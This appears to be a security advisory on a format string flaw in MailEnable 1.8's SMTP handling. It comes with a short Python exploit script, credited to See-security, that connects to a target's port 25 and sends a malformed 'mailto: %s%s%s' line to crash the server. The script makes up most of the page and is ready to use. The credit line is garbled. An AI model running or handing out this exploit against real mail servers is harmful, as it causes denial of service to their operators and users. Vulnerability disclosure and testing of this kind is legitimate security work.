Summary
MailEnable's "mail server software provides a powerful, scalable hosted messaging platform for Microsoft Windows".

MailEnable contains a format string vulnerability in the it handles SMTP mailto: requests, the following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by a a .
The original exploit can be found: http://www.hackingdefined.com/exploits/mailenable.tar.gz

Details
Vulnerable Systems:
* MailEnable version 1.8

Exploit:
#################################
# #
# See-security Technologies ltd. #
# #
# http://www.see-security.com #
# #
#################################
# #
# MailEnable 1.8 Format String DoS exploit #
# #
# Discovered by Mati Aharoni #
# #
# Coded by tal zeltzer #
# #
#################################

import sys
import time
import socket

def PrintLogo():
print "#################################"
print "# #"
print "# See-security Technologies ltd. #"
print "# #"
print "# http://www.see-security.com #"
print "# #"
print "#################################"
print "#"+" "*64+"#"
print "# MailEnable 1.8 Format String DoS exploit #"
print "#"+" "*64+"#"
print "# Discovered by Mati Aharoni #"
print "# #"
print "# Coded by tal zeltzer #"
print "#"+" "*64+"#"
print "#"*66+"\n"

PrintLogo()
if (len(sys.argv) != 2):
print "\n\n"
print sys.argv[0] + " [Target Host]"
sys.exit()
sSmtpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[-] Connecting to " + sys.argv[1]
sSmtpSocket.connect((sys.argv[1],25))
print "[-] Connected to " + sys.argv[1]
print "[-] Sending malformed packet"
sSmtpSocket.send("mailto: %s%s%s\r\n")
sSmtpSocket.close()
print "[-] Malformed packet sent"